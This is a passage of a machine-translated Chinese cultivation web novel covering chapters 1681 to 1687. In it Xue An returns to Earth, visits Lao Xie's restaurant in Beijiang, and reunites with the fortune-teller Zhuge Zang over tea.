    Zhang Fengwu couldn''t help being a little surprised, but Xue An seemed to be really unaware of what Xue An looked like, so he sighed lightly: "What you said is really good. In the past, the suppression by Yu Jianxian in Lingnan was safe! Not to mention us. People from the Heavenly Master''s Mansion are here to cast down monsters!"


    "But since the great upheaval a few months ago, everything has changed!"


    "Suddenly the whole world is full of demons and evil spirits are rampant! And these demons are different from the previous demons. They acted without regard to the consequences, and the methods were extremely evil and cruel, and they committed countless murders at once!"


    "In order to eradicate and suppress these suddenly appearing demons, the parties have joined forces and started to act!"


    "This time we are also ordered by the teacher to come down the mountain and descend the demons!"


    Upon hearing Zhang Fengwu''s words, Xue An''s eyes flashed, "The world is moving?"


    "Yes, this is the name we gave to that event. In fact, it was an earthquake that had no symptoms but spread to the whole world! But this earthquake was very slight and did not attract people''s attention at the time. After that, there are more demons and monsters in this world!"


    Zhang Fengwu explained patiently.


    Xue An nodded slightly, and suddenly asked, "What about An Qing and Tang Xuan''er? What are they doing?"


    If just mentioning Master and Yu Ming just surprised the brothers and sisters.


    So now Xue An called Tang Xuan''er and An Qing''s names so that they were both shocked.


    A look of anger appeared in Zhang Jingping''s eyes whispered in a very low voice: "Dare to call Miss Tang and their names directly... That is how many people think of the guardian goddess!"


    Zhang Fengwu has to be a lot more stable. Although there are some dissatisfaction in his heart, after all, the status of Tang Xuan''er and An Qing and others are extremely high in the hearts of many people, but his good self-cultivation still kept him suppressed.


    "Miss Tang and others are naturally different from us. We are just dealing with the little girls scattered all over the world. The monsters that really come from outside the territory are intercepted and dealt with by them!"


    When it comes to the last time, Zhang Fengwu has a look of admiration.


    Xue An was silent for a moment, and then nodded with a chuckle, "Exterior demon? It''s interesting!"


    Hearing this, Xue An has probably sorted out the situation!


    It seems that the earth has not suffered much turbulence, although there are more demons, but it is not enough.


    Even the so-called extraterritorial monsters did not make much waves, but were blocked by Tang Xuan''er and others outside the earth.

 Chapter 1682： Dragon whale playing in the water

    This sounds like a lucky thing at first, at least the earth is not in danger.


    But Xue An smelled a strong scent of conspiracy.


    After all, the gang of paradise lost powerhouses should have arrived on earth long ago, and they are not vegetarians!


    If they come, even if there is a word of suppression left by Xue An when he left, it will only stop for a while, and it will not be as easy as it is now.


    But the problem is that they haven''t even appeared yet, so where did they go?


    This question rose in Xue An''s mind, and his eyes gradually became cold.


    And this change also made the atmosphere in the field depressed.


    Zhang Fengwu''s heart was slightly shaken, and he couldn''t help but ask again: "Senior, dare to ask your first name, so I can report it to Master when I return!"


    He really wants to know who this boy is!


    Because he always felt that this young man was familiar, but he couldn''t remember where he had seen him.


    At this time, the coldness in Xue An''s eyes gradually faded, and then he took a look at Zhang Fengwu with admiration.


    Although this person''s strength is not very good, it can even be called low, but the character is very good, can be called a manufacturable!


    Therefore he chuckled lightly, "I don''t need to say my name. After you go back, just ask your master, is this real soldier of the Dao Palace easy to use? He should know who I am!"


    Real doctrine soldiers?


    Zhang Fengwu was shocked, and there was a look of horror in his eyes, because that was the highest secret of the Heavenly Master''s Mansion!


    Not to mention the people outside, even ordinary disciples don''t know, even he was only met once or twice because he was appreciated by the master.


    But this young man said the name in one word!


    When Zhang Fengwu was in shock, Xue An smiled slightly, "Oh, right! Thank you for the medicine you just gave!"


    After that, Xue An threw it away, and a white light flew towards Zhang Fengwu.


    Zhang Fengwu subconsciously stretched out his hand to catch the white light, and then stretched out his hand to see that there was a white and gentle jade bottle in his palm.


    "This is..." He was taken aback.


    At this time, Xue Anye had turned and left, and said without looking back: "This is my gift to you!"


    "Although you can eat it now, I think you''d better eat it when someone protects you after returning to the Heavenly Master''s Mansion!"


    The voice drifted away, and when he finished speaking, Xue An''s whole person had disappeared.


    Zhang Fengwu and Zhang Jingping stood in place, and it was not until a long time later that Zhang Jingping swallowed a little bit shrinkingly.


    "Master...Brother, who is this person?"


    Zhang Fengwu shook his head solemnly, "I don''t know, but this person must be from an extraordinary background! It may even be a good friend of Master Master!"


    As he said, he glanced at Zhang Jingping, "Jingping, you must not be as self-willed as you were just now. This senior didn''t blame you today. It''s your luck, so I won''t dare to say it in the future!"


    Zhang Jingping was so frightened that she stuck her tongue out, "Yes. Brother, I know I was wrong!"


    "But why do such seniors appear here?"


    "Who knows! Experts like this are usually seen by the dragon without seeing the end! It is impossible to speculate with common sense!" Zhang Fengwu sighed lightly.


    "Oh..." Zhang Jingping responded, and then curiously looked at the small jade bottle in Zhang Fengwu''s hand.


    "Senior brother, what exactly is the gift this senior gave you? He said he would let you go back to the Heavenly Master''s Mansion to eat it? Would you like to open it now?"


    Zhang Fengwu hesitated for a moment, then nodded and gently pulled the cork off the bottle.


    The moment the cork was pulled out, a strange scent came out, just after smelling it, the Taoism cultivation skills they had just consumed were restored in an instant, and the foundation of Taoism was faintly firmer. .


    Now Zhang Fengwu and Zhang Jingping were all stunned.


    Just the fragrance of medicine has such a magical effect, if it is eaten, what about it?


    Then Zhang Fengwu understood what Xue An meant by letting him return to the Heavenly Master''s Mansion to eat again!


    Because this kind of pill is so precious, it is very likely that you will break through on the spot after you eat it!


    In this case, someone really needs to guard the law to guide you!


    Thinking of this, he quickly plugged the cork back, and then said solemnly, "Go!"


    Zhang Jingping, who was fascinated by this medicinal fragrance and couldn''t help herself, was taken aback, "Brother, where are we going?"


    "Return to Shimen!"


    Just as the brothers and sisters were about to return to the Heavenly Master''s Mansion, Xue Anye had already appeared in the sky above Lingnan.


    At this moment, it was the night of the full moon, and the starry sky was like washes and cloudless.


    Xue An stood on the top of the sky, and the wind was so strong that the clothes on his body were blowing.


    At the foot is the bright lights of thousands of houses, and in the distance, a mountain peak stands faintly.


    Xue An knew that that was the location of the Yu family.


    But Xue An did not plan to see Yu Ming.


    Because just just now, he suddenly noticed that this world had a little more energy.


    Feeling this familiar breath, Xue An was startled first, then a faint smile appeared at the corner of his mouth.


    "This old guy is here, too. It seems that the world is getting more and more lively! Anyway, you still owe me a favor, so now that you are here, don''t think about leaving easily!"


    After that, Xue An took a deep breath slowly.


    This deep breath was so long and violent, it seemed to take the whole world into the lungs.


    There was a turbulent wave in the high altitude, and countless spiritual energy swarmed, forming a huge vortex on the sky, and then Xue An was sucked into the body like a dragon whale.


    Such violent movements naturally aroused the Qi of Heaven and Earth, and the stars and moons that were still shining just now became dimmed in an instant. Dark clouds covered the sky and covered the sun, and there was a faint sound of thunder from above the nine heavens.


    Such a big movement also instantly alarmed the world''s powerhouses.


    At the same time, countless strong men raised their heads one after another, looking in the direction of Lingnan with all their facesWhat''s the matter? Why does the aura of heaven and earth fluctuate so drastically? "


    "It''s Lingnan direction. Could it be that the current sword fairy broke through again?"


    "Impossible. With his strength, it is impossible to induce such a strong fluctuation in the world. Could it be that there is another big demon in the world?"


    For a time, the whole world boiled over.


    The reaction of Lingnan Yu''s family was even more unpleasant. Although Yu Ming was not at home, but left a sword intent to guard him, the others were not vegetarian.


    In an instant, hundreds of sword lights in Yu''s house rose to the sky and rushed towards Xue An.


    Xue An just smiled faintly at this, and when he stepped back, his whole body disappeared silently.


    As soon as he left on his front foot, the Yu family on the back foot arrived.


    The leader is not someone else, but the eldest lady of the Yu family, that is, Yu Ming''s sister, Yu Ran.

 Chapter 1683： Return to Beijiang

    The Yu Ran at this time has completely faded from the past immature, becoming mature and capable.


    Moreover, the sword intent flowed between the eyebrows and pans, and it was obvious that he had a good sword training.


    Usually when her brother Yu Ming is away, she is in charge of everything at home.


    So in Lingnan, she also has the title of Little Sword Fairy.


    It��s just that people are puzzled that even though she has already reached the age of talking about marriage, she never shows off to any man.


    Many young Toshihiko in the younger generation admired her for her cultivation and looks, and tried her best to pursue her, but in the end they all came home.


    Over time, there are rumors that she doesn''t like men!


    Of course, only her brother Yu Ming and a few people know what it is.


    Of course Yu Ran doesn''t dislike men, but the person she likes is an existence that can''t be touched at all!


    So Yu Ming could only sigh softly after hearing these rumors, but could not make any changes.


    But because of this, Yu Ran has become a respectable and fearful existence in the Yu family.


    This is an example.


    I saw many more swordsmen scattered from all sides, sealing the surrounding world tightly.


    Then Yu Ran stepped out, patrolling the surroundings like a sword, to see if there was anything unusual.


    The audience can only hear the whistling wind.


    At this moment, Yu Ran raised her eyebrows abruptly and let out a slight hey.


    Because she could feel that the aura around the world was extremely lacking, and the aura was very disordered.


    It was as if someone had scooped away all the spiritual energy within a hundred miles with super magical powers, leaving only such a huge cavity.


    This is why the sky and the earth fluctuated so sharply just now.


    But the point is, who has such great magical powers to do such things?


    Yu Ran''s face was as cold as ice, trying to sense the strangeness in this chaotic Qi machine.


    Suddenly!


    Her eyes suddenly lit up.


    This breath..., why is it so familiar?


    Do not! impossible!


    It is definitely not him!


    He is not in the earth at all now, how could his breath appear here!


    Yu Ran''s body trembled slightly, his face showed excitement, and at the same time he denied it in his heart.


    But when she was ready to perceive it again, the subtle aura had disappeared.


    The chaotic qi machine of heaven and earth is gradually recovering.


    Yu Ran stood there for a while, finally lowered his eyes, and said in a low voice, "The man has gone!"


    After that, she turned around and left without talking to everyone.


    All the swordsmen of the Yu family were left messy in the wind.


    Miss, what''s wrong?


    Why did you suddenly show excitement just now, and then leave without saying goodbye?


    But in any case, the storm passed like this.


    At the same time, Xue An is crossing the borders of China.


    At this time, Xue An, because of that one, had already made up most of the strength lost through the journey, and the rest will be restored in a few days.


    In fact, with his current strength, he could fly out of the earth in a snap.


    But he was not in a hurry, but walked high in the sky without any haste.


    In the end, he came to the sky above a bustling city.


    A faint smile appeared at the corner of Xue An''s mouth when he saw the lights of Wanjia under his feet.


    "Interesting, I came to my hometown!"


    That''s right!


    The city at the feet of Xue An is Beijiang.


    And he came along this way, also looking for that breath.


    So when he saw Beijiang at his feet, he didn''t even return to Tianzi No.1 Villa, but dropped straight to the ground, and then stepped into the bustling city.


    Since then, Xue An has been away for three years.


    In the past three years, the earth has changed a lot, and Beijiang has changed even more.


    I only see new high-rise buildings everywhere, and the economy has clearly been extremely prosperous.


    And walking on the street, people with cultivation skills can be seen everywhere.


    Real people have become standard equipment, and the Happy Realm is not uncommon. There are heaven and people everywhere, and scattered immortals are also wandering in the streets.


    Even a cleaner on the street has a good level of cultivation.


    Such a scene has even become a norm.


    No one was surprised by this.


    After Xue An walked into it, apart from the fact that Chuchen''s temperament and handsome appearance attracted some attention, not many people paid special attention to him.


    No one knew that he was Xue An who created the grand occasion in front of him.


    Xue An didn''t mind, because this was exactly what he was pursuing specifically, otherwise he should have revealed his whereabouts directly.


    But there were still things on the street that caught Xue An''s attention.


    For example, the picture that appears on the electronic screen of the tall building on the street.


    In the picture is actually a picture of Tang Xuan''er, An Qing and others fighting.


    Although it is only a snapshot, it can be seen that the photographer''s skill is very deep. A simple photo shows Tang Xuan''er and An Qing''s demeanor vividly.


    And people''s excitement can be heard in the streets.


    "Last night, Goddess Tang killed three demons alone. That battle scene was simply breathtaking! It really deserves to be my goddess!"


    "Yes, that''s right, I think so too, so today I spent money to buy a ranking for Goddess Tang, we Goddess Tang must have an appointment!"


    "Hehe, you only know! I have already joined Goddess Tang''s support team!"


    On the other side, they talked enthusiastically about An Qing''s deeds.


    "General Ann was so handsome when he turned into a Zerg queen, especially the sentence I am a Zerg, I get excited just thinking about it!"


    "Oh, I haven''t been able to register, I really don''t know when I will be able to participate in the outer space blockade, and see the battles of the adults with my own eyes!"


    There are many similar conversations, and basically the people who talk about it are fans of the powerful.


    But not all discussions are so friendly. For example, a group of people get together and are arguing fiercely.


    "I think Goddess Tang is amazing! That strength is absolutely superior, and she looks pretty!"


    "Could it be that General An is ugly? And it''s not that Goddess Tang is not powerful, it''s just that it''s almost compared to General An''s Zerg power!"


    "I think Goddess Jingjing is also good!"


    "Girl Rulan is amazing!"


    Among these shouts, someone suddenly said in a deep voice: "I think Master Xue Anxue is the best! After all, all of them were taught by him!"


    This sentence made everyone silent immediately After a long time, someone whispered: "But when will this adult come back? And after coming back, can he really compare to these adults? After all... the strength of all the adults on this earth is increasing by leaps and bounds!"


    Someone wanted to refute this sentence, but suddenly realized that they didn''t know how to say it.


    At this moment, Xue An suddenly took a picture of the speaker.


    The man was so frightened that he turned to look, "What''s the matter?"


    Xue An smiled slightly, "It''s okay, I just think you make sense!"


    After that, Xue An turned and left with a smile.


    This person looked at Xue An''s back in a daze, suddenly a little confused.


    This person''s back... why do you look so familiar?

 Chapter 1684： Lao Xie Hotel

    It''s like a place left behind in time.


    Although the low shantytowns surrounding them have long been demolished, they have been replaced by tall and tidy buildings.


    However, the Lao Xie Hotel has not changed at all. It is still the three houses facing the street, and even the signboard has not changed.


    On the signboard, the two characters ��Restaurant�� had been blackened by the oily smoke, and only the two characters ��Lao Xie�� remained clear, which looked very eye-catching in the night.


    Such a dilapidated hotel, standing quietly in the bustling city center, looks so out of place.


    But no one thought about moving it.


    Even the pedestrians in the past have become accustomed to its existence.


    Not only that, every time it''s time to eat, the door of this restaurant will be full of luxury cars from all over the country.


    But no matter how big the boss is, how powerful he is, he will get off the car obediently when he arrives in front of this small hotel, and he dare not make any trouble.


    Because of this restaurant, Xie Jingjing, the home of Goddess Xie, has been well-known at home and abroad and is respected by countless people!


    If that''s all, that''s all, the key is that the owner of this restaurant stepped forward during the last catastrophe, smashing a kitchen knife with those demons, and now he still has serious injuries.


    In addition, there are vague rumors that the man who turned the tide and saved the earth from fire and water, and created this flourishing age, Mr. Xue Anxue, is also very close to the owner of this restaurant, and even calls him respectfully. Aunt and uncle.


    Who dares to disrespect such a background?


    Therefore, the Lao Xie Hotel has become a legend in Beijiang City, and it is listed as a must-see attraction after coming to Beijiang along with Villa No.1 on the Day.


    But no matter how hot the restaurant��s business is and how honorable the diners are, Lao Xie��s restaurant adheres to a principle, that is, not to increase prices.


    Today, in this Lao Xie restaurant, the price of food still stays at the level of five years or even ten years ago.


    Such cheap and delicious meals naturally attract many low-income workers.


    In this regard, Lao Xie Hotel is always willing to come, and will not look at it in the slightest.


    Whether you are a rich man worth tens of billions or a poor man with nothing, you are treated the same here without any difference.


    So this kind of wonder appeared in this old Xie Hotel.


    When putting together a table, this may be the boss of a listed company, and there may be a street cleaner sitting next to him.


    The point is that no one feels that there is anything wrong with this. Even when the drink is happy, two people who have never met and have a huge difference in identity will drink together.


    Such a fantasy scene can only be seen in the Lao Xie Hotel.


    Today is no exception.


    From the moment the sun went down, Lao Xie Hotel began to get busy.


    Diners from all quarters gathered together, but few people urged the dishes.


    Despite this, Aunt Fatty was still very busy, running between the front hall and the back kitchen.


    "Old Xie, a plate of spicy tofu!"


    "Old Xie, let''s fry another three fresh vegetables!"


    "Chop pepper fish head!"


    Whenever he heard the voice of the food, the old Xie standing in front of the kitchen stove would turn his head and rushed to the fat aunt who came in and smiled.


    But because half of his face is mechanical, his smile will look strange.


    But Aunt Fatty always laughed and cursed at this moment, "What to see, work hard!"


    The old Xie who was scolded would turn around with joy and continue cooking.


    And this kind of speechless little warmth often makes Fat Aunty wet her eyes without knowing it.


    Because she knew that this was Lao Xie expressing his love for herself.


    Although the smile on the outside would look weird, it was already the most humane expression that Lao Xie could make to himself.


    At the beginning, he was holding a kitchen knife to confront the evil demons in the sky, and half of his body was wiped out by a single blow. He, who was bound to die, was abruptly resurrected by Xue An by defying the sky.


    But since then, half of his body has been replaced by alchemy machines, and he can no longer speak, and even his IQ has regressed to look like a seven or eight-year-old kid.


    But Aunt Fatty was very happy, because she didn''t care whether Lao Xie could speak or not, let alone what he became.


    As long as he is still alive and can stay by his side, that is the best!


    As the moon sinks to the west, diners have dispersed, and the busiest period of the day has also come to an end.


    In fact, in terms of the price of the food and the quality of the food provided in the Lao Xie Restaurant today, it is impossible to make money.


    Sometimes the busier you are, the more you lose money.


    But Aunt Fatty persisted.


    Because she firmly believes that one day Lao Xie will return to normal.


    That''s why she rejected all the arguments and reopened this small restaurant.


    It doesn''t matter whether he makes money or not, the key is that only in this way can Lao Xie continue to be his cook, and the fat aunt will feel at ease in her heart.


    Taking advantage of this free time, Aunt Fatty began to tidy up the table, while Lao Xie slapped silently on the side.


    The tacit understanding between the two is as if they were one person.


    At this moment, a crisp copper bell suddenly rang outside the hotel door.


    Hearing this ringtone, the fat aunt knew who was coming without even raising her head. She couldn''t help but smiled: "Old guy, you are late today!"


    "Ahem! I happened to meet a man who was about to suffer a catastrophe today. The old man was compassionate and he couldn''t bear to see him suffer, so he called him a few words, so he was late!"


    With the voice, the door of the hotel was pushed open from the outside.


    An old man wearing a shabby robes with a shaggy beard and thin hair pulled a small bun behind his head, then pinned it with a disposable chopsticks, and walked in as an old man who was right as a hairpin.


    He was still holding a pole in his hand A tattered guise floated on the pole, embroidered with four characters.


    Zhuge is fortune!


    It''s just that this golden word has faded because of the wind and sun, and it looks very bleak.


    There is also a string of copper bells hanging from the top of the pole, which jingle and sway as soon as you walk away. This is where the bell just came from.


    Aunt Fatty said, "Bah! I don''t know you yet, I ran the train with my mouth full, and I didn''t have a word of truth all day long! I guess you haven''t eaten yet!"


    The old Dao smiled awkwardly, "I walked in a hurry, and I haven''t had time to eat!"


    "I really don''t understand, you are so old, and you still pretend to be a ghost all day. Now your aura is resurrected, and there are practitioners everywhere. You are a bad old man who is going to make fortunes everywhere. Isn''t this looking for sin?


    Aunt Fatty grumbled a few words with hatred for iron and steel, and then said angrily: "Okay, hurry up and sit down, there is just some leftover ingredients for today, let Xie stir fry for you!"

 Chapter 1685： Lets eat together

    The veteran immediately sat on the chair, then his expression was straight, Baoxiang solemnly said: "Master Xie''s Gongbao Chicken is a must, let''s make this! Remember I want to eat cashew nuts, not peanuts!"


    "I''m pooh, I also fried cashew nuts! I love to eat, don''t eat it, what a lot of nonsense!" Aunt Fatty pointed her waist and cursed.


    "Uh... peanuts are actually okay!" The old Dao''s voice immediately eased.


    "Humph!" Aunt Fatty snorted, turned and left.


    The weird smile appeared on Lao Xie''s face again, and then slowly turned back to the kitchen.


    Looking at Lao Xie''s back, Lao Dao''s eyes flashed, and then he sighed slightly.


    After a lively sound of cooking, the fat aunt brought a few dishes to the table, "eat!"


    "Uh...is there any wine?"


    Aunt Fatty stared, but after seeing the flattering smile on Lao Dao''s face, she still stomped helplessly, "I really convinced you!"


    After that, he took a bottle and a half of wine from behind the counter and placed it heavily on the table.


    "Drink, the rest of the other guests!"


    The old Dao smiled happily and couldn''t wait to pour out a glass, first took a sip, then picked up a chopsticks and threw it into his mouth.


    After chewing for a while, he gave a thumbs up.


    "I have to say, Master Xie''s craftsmanship is really good!"


    "Okay, eat quickly, this won''t stop your mouth!" Aunt Fatty replied without sympathy.


    In fact, she still doesn''t know where this old way came from. It seems that a year ago, he suddenly appeared near the Lao Xie Hotel.


    When Fat Aunt saw him, he was exactly what he is now, and said that he hadn''t eaten for three days.


    Aunt Fatty cooked something for him out of kindness. At that time, the old way of eating was so gluttonous that he almost choked to death.


    And from then on, this old way of life has been eating smoothly, and will come to the restaurant to eat free food almost every other time.


    Du Fan, the boss of the Beijiang underground forces, had known this situation before, and had asked Fat Auntie��s opinion more than once, whether or not he should teach this old-fashioned way that did not know where it came out.


    But the fat aunt refused.


    Her idea is very simple. She is still running around at such an old age. It is not easy to earn some money by fortune-telling. It is nothing more than eating for nothing. If nothing happens, let him go!


    It''s a year after such a flash, and today this is not here again!


    Lao Dao didn''t care when he heard Fat Auntie''s ridicule, he just smiled, "I won''t eat your things for nothing, I will give you three trigrams for free at that time!"


    "Okay, I don''t believe in yours, you should keep it for the beholder!"


    Old Tao shook his head, "You don''t understand!"


    "Okay, I don''t understand! You understand! Are you the Zhuge God fortune who knew 500 years later!" Aunt Fatty muttered and turned and left.


    The old Dao smiled lightly and whispered softly: "Among the heavens, there are more people who want to ask the old man for a trigram than the crucian carp who crosses the river. I even disdain those peerless strong men who prepare the supreme gifts. Now I will give you three trigrams. , Enough to cover your meal expenses this year!"


    When speaking, the old-fashioned eyes were clear and bright, and there was a light inside, and there was no greasy image of a liar.


    Of course, this scene was only fleeting, the fat aunt didn''t see it at all, so the old-fashioned continued to devour it.


    But at this moment, there was a slight imperceptible fluctuation in the spiritual energy of heaven and earth.


    The old man who had just drunk a glass of wine suddenly shook, and his eyes were bright.


    It''s him!


    He is back!


    It''s worth noting that the old man spent a hundred years of cultivation and deduction of Zhou Tian''s big divination, he is really fine!


    The old Dao was suddenly agitated, thinking about getting up, but soon he sat down again, and a faint smile appeared on his face.


    "It''s really worthy of being the peerless Immortal Venerable who has ever ascended to the top of the heavens, and suppressed all the strong from being able to raise their heads! I have suppressed the hidden aura of cultivation base in this way, and I can still feel me for the first time after returning. exist!"


    After all, the old way sits in a precarious manner, with downcast eyes, quietly waiting for someone to arrive.


    The night was getting deeper, and the noisy city gradually became quiet.


    At this moment, the door of Lao Xie Hotel was suddenly pushed open, and then a man in suit and leather shoes with shiny hair stepped in.


    Behind the man followed a few burly men with fierce faces.


    With such a combination, it''s just a matter of writing these three big characters on my forehead.


    But when the fat aunt who heard the door humming came out of the back kitchen, this unobtrusive man immediately filled his face with a smile and respectfully saluted.


    "Auntie Fat!"


    When he bowed his head, the burly men behind him also bowed and saluted, shouting in unison: "Auntie Fat!"


    The sound was so loud that dust was falling from the ceiling.


    Aunt Fatty didn''t take it seriously at all, instead she said casually: "Who am I supposed to be? It turns out to be Xiao Du! Why are you coming here free?"


    That''s right!


    The person here is the absolute eldest brother of the underground forces of Beijiang, and he stomped Du Fan, who would tremble in most of the city.


    It''s just that this majestic leader in the eyes of outsiders, at this moment, is respectful in front of Aunt Fatty.


    "Isn''t this not coming for a while, just come over and have a look today? Recently, the store is still safe!"


    The fat aunt nodded slightly, "It''s okay!"


    "If you have something, you can say anything at any time, and I will do my best!" Du Fan smiled.


    "Let''s open the door to do business decently, how can there be so many things!" Fat aunt said in a harsh tone.


    "Yes, yes!" Du Fan nodded repeatedly.


    Seeing that the dignified social elder brother put his posture so low in front of him, and usually came around at short intervals, the fat aunt was also a little moved in her heart, and her tone slowed down a lot.


    "Xiao Du hasn''t eaten yet! Would you like to thank Uncle for cooking two dishes for you?"


    "Ah, isn''t that troublesome?"


    "What is the trouble! Soon!"


    "In that case, thank you very much!" Du Fan repeatedly thanked him.


    In fact, Du Fan had already eaten before coming but Aunt Fatty invited them. He was afraid to refute Aunt Fatty''s face, so he hurriedly responded, and then ordered the people behind him: " Go outside and guard!"


    "Yes!"


    Several strong men walked out of the hotel.


    Auntie Fatty smiled when she saw it, and turned back to the kitchen.


    Du Fan lit a cigarette, his sharp eyes patrolled the hall, and then he was taken aback.


    Because he saw the old man sitting in the corner.


    He has a deep memory of this guy who often comes to Lao Xie Restaurant for free food.


    Had it not been for the fat aunt, he would have let his subordinates throw this guy out of Beijiang.


    Now seeing him sitting there with his head bowed, Du Fan couldn''t help his face sinking, then stepped up and patted the table.


    "Old guy, have you come here to eat for nothing?"

 Chapter 1686： Reunion of old friends

    Lao Dao opened his eyes slightly and glanced at Du Fan, shook his head with a smile, and closed his eyes again.


    This kind of speechless contempt caused Du Fan''s fire to rise.


    "Old stuff, do you know where this is? You dare to run here to hit the autumn wind, believe it or not, I will let you get out of Beijiang tonight?"


    The old way was silent, as if he had settled down.


    Du Fan''s eyes were cold, a sigh of qi appeared in his hand, and he raised his hand to pat the old way.


    But at this moment, Lao Dao suddenly said softly: "You actually have eaten dragon liver, you can be considered good luck!"


    Du Fan was taken aback by this sentence, but he still didn''t understand what was going on.


    Aunt Fatty walked out carrying the food, her face sank immediately when she saw this formation.


    "Little Du, what are you doing?"


    "Ah, no...nothing, I..."


    The old Dao opened his eyes and glanced at Fat Auntie, "It''s okay, the donor wants me to calculate a divination for him, but my divination period is over today, so I won''t entertain!"


    "Ah, yes, yes, I really want him to tell me! Haha!" Du Fan said hurriedly, saying that this old-fashioned reaction is quite fast!


    Aunt Fatty glanced at them suspiciously, but didn''t say anything, and put the food on the side table.


    "Okay, Xiao Du, hurry up and eat while it''s hot!"


    Du Fan took a deep look at this old way, but then the old way had closed his eyes again.


    Du Fan was full of questions!


    How does this old man know that I have eaten dragon liver?


    Except for Mr. Xue, outsiders have no idea about this!


    With full of questions, Du Fan sat down at another table and ate.


    The reason why he ran to this Lao Xie Hotel all day, and put his posture very low.


    Part of it is because of Xie Jingjing''s face, but more is to fulfill the promise to Xue An.


    Xue An once said to let him take care of Lao Xie and Fat Aunt.


    He kept this sentence firmly in his heart.


    Although it has been a few years, he was unimpeded, and he did not dare to slack in the slightest.


    Even if his identity is already important, he never dared to put on any airs.


    Because Du Fan knows the position of Old Xie and Fat Aunt in Xue An''s heart.


    And he can have today''s merits, is also given by Xue An.


    Although Du Fan is usually arrogant, his grievances are still very clear.


    What''s more, Du Fan is a caring person, and he knows he can''t help much.


    This time there was a great upheaval in the world, evil spirits were everywhere, and Tang Xuan''er and others became a line of defense to protect the earth.


    The only thing Du Fan can do is take good care of these people who are important to Xue An.


    at the same time.


    Several big guys sent outside by Du Fan to guard were smoking and chatting under the street lights.


    "Tsk tsk, Miss Jingjing was really amazing last night, at least there must be a golden immortal''s cultivation in that way!"


    "Yeah! You said that this fat aunt also has such a powerful daughter, so why open a small restaurant?"


    "Who knows! Maybe it''s because you have nothing to do!"


    Just as they were talking about it, a boy in white suddenly walked down the street.


    This white-clothed boy looked only eighteen or nine years old, tall and straight, sloppy, and extremely beautiful.


    Coupled with the leisurely and peaceful smile on his face, it is even more frustrating at first sight.


    But this is not the key.


    The key is the speed at which this teenager walks!


    He was still on the other side of the street, but he was in front of everyone in the blink of an eye.


    And there was no smoke or smoke in the whole process.


    These few chatty strong men were all taken aback.


    at the same time.


    The young man had passed through them and came to the restaurant, then stopped, looked up at the signboard, smiled slightly, and was about to push the door in.


    Several brawny men reacted, and then they wanted to stop them.


    But at this moment, the boy turned his head and glanced at them.


    Just at a glance, these strong men with good cultivation skills felt that the whole person was like a fallen ice pit, and they couldn''t even speak for a moment.


    Then the boy opened the door and walked into the hotel.


    at the same time.


    The old Dao, who was sitting in a precarious position with drooping eyebrows, suddenly raised his eyes, and happened to look at the boy who came in.


    It was this simple look at each other that shocked the entire Beijiang City.


    Then, seeing the old Dao''s face gradually overflowing with a smile, he stood up, and the young man nodded slightly.


    "Welcome to Master Xianzun!"


    Xue An also smiled, but there was a hint of playfulness in his smile, and then he spoke slowly.


    "Zhuge Zang, I didn''t expect you to appear here!"


    That''s right!


    This old way of eating and drinking here all day long, like a liar, is famous for his unpredictable deduction skills. Zhuge Zang, known as Zhuge Zang, who knows the things of the heavens and the world. !


    Zhuge Zang smiled bitterly, "Isn''t it no way!"


    "I can''t help but ran to my hometown without saying hello?"


    With that, Xue An walked to the opposite side of Zhuge Zang and sat down slowly.


    During the whole process, Du Fan, who was eating and drinking, didn''t even lift his head, and didn''t even notice it.


    Not only that, but the hall where there were all kinds of noises was also instantly quiet.


    It is like an invisible barrier that isolates everything.


    Xue An smiled, "You are still so cautious!"


    "Hehe, when people are old, their courage will naturally follow! And are you sure that we should let these mortals know about our conversation?" Zhuge Zang said with a smile.


    "Are you old?" Xue An looked at Zhuge Zang up and down, then shook his head disapprovingly.


    "Except that your hair is less than before, I don''t see where you are old!"


    This sentence made Zhuge Zang suddenly become nervous, and quickly reached out and touched the bun on the back of his head, "Is it really missing?"


    "What do you mean? You will be bald if you fall like this! But then you will save trouble, and you will be a monk directly!"


    Hearing this, Zhuge Zang pucked several times, "Bah, baah, I don''t want to be a bald donkey like that guy Yue Ji!"


    Xue An raised his eyebrows, "If Yue Ji hears this, you two should fight again!"


    Yue Ji is the enemy of Zhuge Zang The two often fight each other.


    When Xue An was the Immortal Venerable, he had mediated for the two of them more than once.


    "Just hit it, do you really think I''m afraid he won''t succeed?"


    Having said that, the two looked at each other in silence for a moment, and then they laughed in unison.


    Amidst the laughter, Xue An picked up the wine glass on the table and said softly: "Old Zhuge, long time no see!"


    "long time no see!"


    The two drank the wine in one cup.


    After putting down the wine glass again, tears appeared in the corners of Zhuge Zang''s eyes, and after wiping them away without a trace, he sighed slightly.


    "When the news of your fall came, I didn''t believe it was true at all, sure enough! You were born to death and reincarnated!"


    Xue An smiled slightly, "You have so much confidence in me?"

 Chapter 1687： Cover up

    "Of course!" Zhuge Zang solemnly nodded, "I know countless people, and I have seen many of the most powerful people among the heavens, but you alone can''t see through!"


    "Oh?" Xue An raised his eyebrows with interest, "Let''s listen!"


    "Everyone has fate, rich or poor! Even the strong immortal emperor can''t escape the fate of fate, but you are different!"


    Zhuge Zang said solemnly: "Your fate is shrouded in a supreme and noble purple air, I can''t see through it at all!"


    "Then is this good or bad?" Xue Anyi asked pointedly.


    Zhuge Zang shook his head, "I don''t know! Because this is beyond my ability. In fact, I only spent hundreds of years of cultivation just to find out your whereabouts in this life. Even so, Zhou Tian The conclusions of the deduction array are also vague, so I will wait for you here for a year!"


    Xue An remained silent, and only chuckled a long time later: "Speaking of which, what are you doing so hard to find me for?"


    Zhuge Zang chuckled, then scratched his head and said, "Hey, it''s been a long time since I drank your tea, let me get rid of the gluttony!"


    After a while.


    Xue An finished sorting the tea set like flowing water, and carried the fire to boil the water in the teapot.


    Then reached out to Zhuge Zang.


    "Here!"


    "What do you mean?" Zhuge Zang was a little confused.


    "Be less foolish. I haven''t seen you for so long. You must have collected a lot of good tea. Contribute it!"


    Zhuge Zang''s expression was bitter, and he muttered: "Those silly dragons are right, you are really Xue Peipi!"


    With that said, he reluctantly took out a small bag from his arms, and was opening it with a painful face.


    Xue An snatched it over, "Look at what you look like, isn''t it just a bag of tea, do you feel so distressed?"


    With that, Xue An opened the tea bag casually and poured it directly into the teapot.


    In an instant, a strange scent spreads, making people feel refreshed just by smelling it.


    Zhuge Zang looked at him dumbfounded, and it took a long time before he let out a mournful cry.


    "Xue An, do you know what kind of tea it is?"


    "What kind of tea? Can it be the Nine Transformation Lingwu Tea?"


